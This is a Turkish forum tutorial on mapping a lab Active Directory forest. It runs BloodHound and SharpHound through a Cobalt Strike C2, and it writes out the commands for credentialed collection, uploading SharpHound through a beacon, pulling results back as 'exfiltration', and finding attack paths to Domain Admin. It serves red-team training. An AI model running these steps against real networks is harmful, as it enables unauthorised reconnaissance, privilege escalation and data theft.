Hoşgeldin Misafir

BloodHound ile Active Directory hakkında bilgi toplama II (Cobalt Strike C2)

xS0N3R

23 Ağu 2020
5,426 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Active Directory & Forest Saldırı

0*3bTd6Fi8CNapx0vH


Bugün, genellikle Active Directory ortamlarında bilgi toplama adımında kullanılan BloodHound ve SharpHound gibi
araçlarını kullanarak bilgi toplama yapacağız ve ek olarak Cobalt Strike Command and Control kullanacağız
ve CS (Cobalt Strike) ile basit bir bilgi toplama yöntemlerini öğreneceğiz.

BloodHound aracının amacı, saldırgana farklı türdeki AD ortamlarında bilgi toplama adımında daha kolay ve hızlı bir yol
sağlamaktır. Kompleks ortamlarda BloodHound kullanmak yardımcı olabilir, çünkü AD ağına saldırmak sadece ağ ortamındaki
CVE güvenlik açıklarından faydalanmak değil, ayrıca yanal hareket için daha fazla yol açabilecek farklı yanlış
yapılandırmalardan da faydalanmaktır ve BloodHound bu yanlış yapılandırmaları bulmamıza ve
tam Active Directory ağ ortamı haritası toplamamıza yardımcı olacaktır.

BloodHound - SharpHound


BloodHound aracı, saldırganlara Active Directory ağ ortamını haritalama ve görselleştirme konusunda yardımcı olur.
Kompleks ve yaygın ağ ortamlarında GPO, Trust, ACL, ADCS, Delegations...vb. gibi yerlerde yanlış konfigürasyonlarını tespit
etmekte yardımcı olur, bu da saldırganlara daha ileri yanal hareket ve yetki yükseltme adımları için imkan sağlar. Bilgi
toplamak için LDAP (Lightweight Directory Access Protocol) veya SMB (Server Message Block) tabanlı protokoller kullanır.

BloodHound rolü verileri grafik olarak görselleştirmektir. Neo4j (grafik veritabanı) bilgileri depolayan
ve bunları işleyen bir veritabanıdır. BloodHound, Neo4j (grafik veritabanı) adlı grafik kabuğunu
kullanır ve bu da Cypher dilini kullanır. BloodHound'un grafik kabuğu toplanan verileri grafikler halinde gösterir.

pdas89r.png


Neo4j konsolu üzerinden çalıştırma
Ve
GUI üzerinden çalıştırma

t6brkeh.png



Hedef sistemden veri toplamanın 3 farklı yolu vardır:
- BloodHound.py (python ingestor) Active Directory verilerini toplamak için kullanılan bir python scriptidir, ve Linux
makinenizden de çalıştırılabilir, ancak çalıştırmak için hedef bilgisayarın kullanıcı ve şifre gibi kimlik bilgilerine ihtiyacınız vardır.

Kod:
python3 bloodhound.py -u <UserName> -p <Password> -ns <Domain Controller's IP> -d <Domain> -c All

- SharpHound.exe (C#, EXE ingestor) Active Directory objectleri hakkında bilgi toplar ve veritabanına
yüklenecek verileri hazırlar, Active Directory ağında Windows tabanlı bilgisayarda çalıştırılması gereklidir.

Kod:
örnek komutlar:
Mevcut tüm verileri toplar:
> SharpHound.exe -c All
Bir kullanıcı adı ve parola ile kimlik doğrulaması (authentication) yaparak mevcut tüm verileri toplar:
> SharpHound.exe -c All -d <Domain> -u <UserName> -p password <Password>
Sonuç ZIP dosyasının adını yazın:
> SharpHound.exe -zipfilename C:\path\to\output.zip

- SharpHound.ps1 (PowerShell module) sharphound exe dosyasını kullanmaktan başka powershell
modülünü de (Invoke-BloodHound) kullanabiliriz. Bu yöntemde önce Import-Module .\SharpHound.ps1
komutu ile sharphound.ps1 powershell modülünü import edeceğiz, ardından şu gibi komutlar
ile bilgi toplamaya başlayabiliriz:

örnek komutlar:
> Import-Module .\SharpHound.ps1
> Invoke-BloodHound -CollectionMethod All
> Invoke-BloodHound -CollectionMethod ACL

SharpHound default olarak ne tür bilgiler toplar?


SharpHound'u Active Directory ağ ortamında çalıştırdıktan sonra, aşağıdaki gibi bilgileri toplayacaktır:
kullanıcı, bilgisayarlar, etki alanındaki objectler, etki alanı denetleyicisi (Domain Controller),
Etki alanı güvenleri, gruplar ve üyelikler, Delegasyonlar, ACL,..vb. ile ilgili yanlış konfigürasyonlar,
GPO, OU, SQL admin linkleri, Local administrators grubunun üyeleri,...vb.
Hazır olduğunda, SharpHound JSON dosyaları oluşturacak ve bunları bir zip dosyasına yerleştirecektir.
zip dosyalarını çıkarıp ve bu json dosyalarını BloodHound GUI'ye yükleyebiliriz daha
sonra sharphound'un Active Directory Etki Alanı hakkında topladığı verileri görebileceğiz.
Cobalt Strike C2 (Command and Control)
Advanced Threat Tactics

jjxfbme.png



Cobalt Strike, kırmızı ekip operasyonlarının yapılmasına yardımcı olmayı amaçlayan bir programdır.
CS, her birinin kendi amacı olan farklı türde opsiyonlar ve fonksiyonlara sahiptir. Örnek olarak:
Listeners: DNS, SMB, TCP gibi dinleyiciler oluşturmak, Pivoting, dosyaları hedefe yükleyebiliriz veya
indirebiliriz, Malleable kullanarak process injection ve diğer atlatma ile ilgili konfigürasyonları konfigüre
edebiliriz,..vb. Malleable C2 profilleri - Beacon'ın bellek içi özelliklerini de kontrol eder, Beacon'ın proses
enjeksiyonunu, DLL loading nasıl yapacağını ve Cobalt Strike'ın post-exploitation işlerini de belirler.
daha detaylı rehberi buradan okuyabilirsiniz: Cobalt Strike Manual

ck95ort.png



Bugün Cobalt Strike ile bilgi toplama adımını hedefledik, çünkü Cobalt Striek ağ taraması için farklı
opsiyonlar sağlar ve bilgi toplamak için .net, powershell komutlarıyla yöntemler kullanabiliriz,
ve ayrıca CS'yi C2 (Komut ve Kontrol) olarak kullanarak SharpHound'u hedef bilgisayara yükleyip
BloodHound ile bilgi toplama adımını yapabiliriz.

Bilgi toplama adımı için 2 etki alanı (Domain) ve orman (Forest) ile basit bir
Active Directory ağ ortamını oluşturdum.

öncelikle, Team Server'ı Çalıştırıyoruz:
Kod:
./teamserver <ip_address> <password> [<malleableC2profile> <kill_date>]

cobaltstrike/client dosyasına giriyoruz ve sonra client'ı başlatabiliriz:
Kod:
./cobaltstrike

ardından Connect Dialog (“Bağlantı İletişim Ekranı”) görüntülenir. Standart konfigürasyonları kullanıyoruz:
sr8y0ek.png

konfigürasyonların açıklaması burada:
Alias (Diğer Ad) - Host bilgisayar için bir diğer ad belirleyin veya standart adı kullanın.
Host (Bilgisayar) - Team server'ınızın IP adresini belirleyin.
Port - port numarasını yazın. default olarak team server için Port (50050) gösterir.
User (Kullanıcı) - team server'daki kullanıcı adınızdır.
Password (Şifre) - Team server için paylaşılan şifreyi yazın.

Connect'e tıkladıktan sonra Cobalt Strike'ın GUI'sine giriyoruz:

lk3s7kh.png


Şimdi bilgi toplamak için Active Directory ağ ortamında hedeflere ihtiyacımız var, örneğin AD ağ ortamımda şunları kullanarak girebiliriz:
IIS upload webshell kullanarak AD ağına girebiliriz, hizmetleri istismar (exploit) edebiliriz, yanlış yapılandırmaları kullanarak,..vb.
sonra Cobalt Strike'da bilgi toplama komutlarını çalıştırabiliriz ve hedef bilgisayarda sharphound'u başlatabiliriz.
Bir süre sonra kullanıcıları topladım ve kullanıcı ve şifre gibi kimlik bilgilerini bildiğim kullanıcılar için seanslar açtım.
Daha iyi anlamak için yeni bir grafik açtım ve CS grafiğimizin Ağaç (Tree) formuna görünmesi için credleri adım adım ekledim ve spawned sessions:

ivhx81s.png


Yeni grafikten da gördüğünüz gibi, kullanıcılar artık birbirleriyle bağlantılı değildir, çünkü yanal hareket (lateral movement) yerine bilgi toplama adımını
hedefliyoruz. Ve bağlantılı bilgisayarlara ihtiyacımız yoktur, sadece Active Directory ağ ortamına girmemiz gerekir. Yani aslında sharphound'u çalıştırmak
için az sayıda kullanıcıya ihtiyacımız vardır. Grafikteki kırmızı bilgisayarlar Administrator'lardır. Çünkü spawn session'ı Administrator olarak açtığınızda
kırmızı olarak gösterilecektir. mavi olan bilgisayarlar sadece kullanıcılardır.

Önceki modülümüzde .net, powershell,...vb. gibi farklı bilgi toplama yöntemleri kullandık. cobalt strike beacon> console kullanarak net view, net users
gibi komutları kullanabiliyoruz, ancak burada Cobalt Strike'ın bahsettiği birkaç şey var. örneğin, .net komutlarını çalıştırmak için shell kelimesini yazmamız
gerekiyor: net users ---> shell net users.
net ve powershell komutlarının yakınında çalıştırılması gereken bazı komutları listeliyorum:
cmd.exe | .net için:
shell - hedef bilgisayarda cmd.exe aracılığıyla bir komut çalıştırmak.
run - cmd.exe komutunu kullanmadan bir komut çalıştırmak.
powershell.exe için:
powershell - hedef bilgisayarda PowerShell ile bir komut çalıştırmak.
powerpick - PowerShell cmdlet'lerini powershell.exe kullanmadan çalıştırmak. Bu komut Yönetilmeyen
PowerShell (Unmanaged PowerShell) tekniğine bağlıdır.
execute - arka planda (background) bir program çalıştırır ve output kaydetmez.

SharpHound:
Şimdi SharpHound'u hedef bilgisayarlardan birine yükleyelim.
Cobalt Strike Command and Control kullanarak sharphound.exe dosyasını hedefin bilgisayarına yüklemek için farklı opsiyonlarimiz var.
Basit olarak bunu File Browser [Upload] kullanarak yapıyoruz, bu çok kolay bir yöntemdir.
yine de yükleme için başka opsiyonlarımız var. Örneğin: powershell Invoke-WebRequest kullanarak, bitsadmin, ..vb.
[Beacon: cersei.lannister] --> [right-click] --> Explore --> File Browser

g8797l9.png


sharphound'u buradan indirin https://github.com/SpecterOps/SharpHound
Sharphound'u indirdikten sonra, şimdi exe dosyasını hedef bilgisayara yükleyebiliriz.
Upload --> SharpHound.exe --> Open
! Aslında Desktop klasörüne yüklemeniz tavsiye edilmez, başka bir klasör kullanabilirsiniz, ancak örnek olarak Desktop'u kullandık.


rr9wfpg.png


lfgkc31.png


Kod:
> upload [path/to/file/for/uploading] [path\to\file\in\target]

beacon konsolunda bu yöntemin upload komutunu kullandığını ve successfully çalıştırılıp
hedef bilgisayara yüklendiğini gösteriyor. bakalım C:\Users\administrators\Desktop dizinine girdiğimizde,
sharphound.exe dosyasını bulabiliriz:

l2cqa8z.png


şimdi sharphound.exe kullanarak Active Directory ağ ortamı hakkında
bilgi toplamaya başlayabiliriz.

SharpHound: Cross-Domain Collection

Default bilgileri toplamak için :

Kod:
.\SharpHound.exe
SharpHound.exe -c All

Öncelikle yukarıda bahsettiğim gibi, Active Directory ağ ortamımız iki etki alanı (Domain) içeriyor.
ve aynı ormandaki (Forest) diğer etki alanlarından veri toplamak için birkaç ek flag eklememiz gerekir.
Forest'ta şu iki etki alanımız var:
sevenkingdoms.local ve north.sevenkingdoms.local
Oluşturduğum Active Directory ağ ortamı şu şekilde:

m99l581.png


Cross-Domain Collection - aynı ormandaki farklı etki alanları için bilgi toplama işlemini yapmak demektir.
Etki alanları arası bilgi toplama yöntemi etki alanları arasında güvene (Trust) bağlıdır.
powershell'de örnek olarak aşağıdaki komutları çalıştırabiliriz:

Kod:
.\SharpHound.exe -c All --domain <domain>
.\SharpHound.exe -c All --domain sevenkingdoms.local

Örneğin, north.sevenkingdoms.local adresinde kullanıcı olarak çalışarak bir sonraki adımda sevenkingdoms.local etki alanına geçeceğiz .

LDAP authentication kullanarak etki alanları arası (Cross-Domain Collection) bilgi toplamak da mümkündür.

Kod:
.\SharpHound.exe -c All --domain <domain> --ldapusername <user> --ldappassword <password>

sharphound'u çalıştırdıktan sonra zip dosyasını bilgisayarımıza indiriyoruz.
Cobalt Strike'ta kolay "exfiltration" için download komutunu kullanabiliriz.

Kod:
> download [path\to\file\for\downloading]

ozjzu3h.png


şimdi Cobalt Strike'dan bilgisayarımıza dosyayı yükleyeceğiz.
Team server'ınızın şu ana kadar indirdiği dosyaları görmek için Cobalt Strike'ta
View --> Downloads
9m7kenk.png


İndirilen dosyalar team server'da saklanır. Dosyaları sisteminize getirmek için
Sync butonuna basın. Cobalt Strike daha sonra seçilen dosyaları sisteminizde seçtiğiniz bir klasöre indirir.
5ji9qj0.png


sharphound'dan aldığımız zip dosyasında birkaç JSON dosyası vardır.
Active Directory ağ ortamını grafik olarak görebilmek için JSON dosyalarını BloodHound'a yükleyeceğiz.

BloodHound


BloodHound kurulumu ile başlıyoruz.
java'yı yüklediğinize emin olun, kali'de önceden yüklenmiştir.

Kod:
sudo apt-get install bloodhound

pu1wrzp.png


Bloodhound, Neo4j adlı bir grafik veritabanı tarafından desteklenir.
şimdi neo4j konsoluna giriyoruz ve şifre değiştirme gibi bazı yapılandırmalar yapıyoruz.
neo4j console'u çalıştırdıktan sonra bize url adresini veriyor, tarayıcımızda http://localhost:7474 adresini açıyoruz.

Kod:
neo4j console

c92oeat.png


Burada neo4j için default şifreyi değiştirmemiz gerekiyor. standart şifre ve kullanıcı neo4j:neo4j'dir.
öncelikle neo4j:neo4j --> Connect şeklinde kayıt edeceğiz. Daha sonra yeni şifre belirleyeceğiz.

i60bm25.png


Yeni şifreyi yazdıktan sonra --> "Change password" butonuna tıklayın.

i7dbkbc.png


şimdi neoj4'ü başlattık. Bundan sonra Bloodhound'a başlayabiliriz.
terminale gidip Bloodhound yazıyoruz.

Kod:
bloodhound

otomatik olarak bloodhound sayfasını açar. kullanıcı olarak neoj4 ve daha önce belirlediğimiz şifreyi yazıyoruz.

jpt4xpq.png


Şimdi bloodhound GUI'ye girdikten sonra, boş bir grafik göreceksiniz. Cobalt Strike'dan indirdiğimiz JSON dosyalarını yükleyeceğiz.
Bloodhound'a veri yüklemenin farklı yolları vardır, dosyaları drag and drop yapabiliriz, ya da “Veri Yükle (Upload Data)” butonunu kullanabiliriz.
tüm JSON dosyalarını seçiyoruz ve bloodhound grafiğine aktarıyoruz. Upload Data --> .json --> Open

mgbqlnx.png


Ek olarak, “Yükleme Durumunu Görüntüle” butonunu kullanarak Yükleme durumunu görebiliriz. "View Upload Status"
Database Info tabında kullanıcı (Users), bilgisayar (Computers), grup (Groups), GPO, OU,...vb. bilgilerini görebiliriz.

s2bugtm.png


Tüm JSON dosyalarını yükledikten sonra objectleri içeren grafiği görebiliriz.
Resimde Doman Yöneticilerini gösteriyor. Domain Admins grubuna dahil olan kullanıcılar.
“cersei.lannister” kullanıcısına tıkladığımızda ve ekranın sol tarafındaki Node Info butonuna
tıkladığımızda, kullanıcı hakkında farklı bilgileri görebiliriz.

k99c2sx.png


Analysis tabına tıkladığımızda hedefimiz için gerekli opsiyonları arayıp seçebiliriz.
örneğin, List all Kerberoastable Accounts (Kerberoatable kullanıcı hesabına erişmek için kimi hedeflememiz veya saldırmamız
gerektiğini gösterecektir), Shortest Paths to Domain Admins,..vb.

jm967rl.png


Örnek olarak “Etki Alanı Yöneticisine Giden En Kısa Yollar ”ı (Shortest Paths to Domain Admin) seçiyoruz.
Resimde gördüğünüz gibi Domain Admin kullanıcısına erişmek için hangi kullanıcıları ve ne tür
yanlış konfigürasyonları kullanabileceğimizi gösteriyor. WriteDacl, GenericAll izinleri gibi yanlış konfigürasyonlar
Domain Admin kullanıcısına kolay erişim imkanı verir. Elbette Domain Admin'lere erişmek için başka farklı yollar da vardır,
ancak her şey hedef ağ ortamına bağlıdır.

dsnqzts.png


Bir objectyi sahipli (Owned) olarak işaretlemek için GUI'de objectye [örneğin kullanıcı: cersei.lannister]
[right-click] tıklayabiliriz --> "Mark User as Owned" . Başka opsiyonlar da vardır, örneğin:
Set as Starting Node (İlk Erişim, ağa ilk girdiğimiz kullanıcı),
Shortest Path to Here (Hangi kullanıcılardan saldırarak bu kullanıcılara erişebiliriz),..vb.

64j5aht.png


"Mark User as Owned" butonuna tıkladıktan sonra bu, objectlerine bir “skull” ikonu yerleştirecektir ve
sahipli (owned) objectlere bağlı ek sorgular yapmamıza imkan verecektir.

gzq6bjr.png


Kod:
Sahip (Owned) olunan tüm objectleri listelemek
MATCH (n) WHERE "owned" in n.system_tags RETURN n

Bu, Cypher sorgu paneline yerleştirilebilir, aramaya (search) tıklayıp sahip olunan tüm objectleri görebiliriz.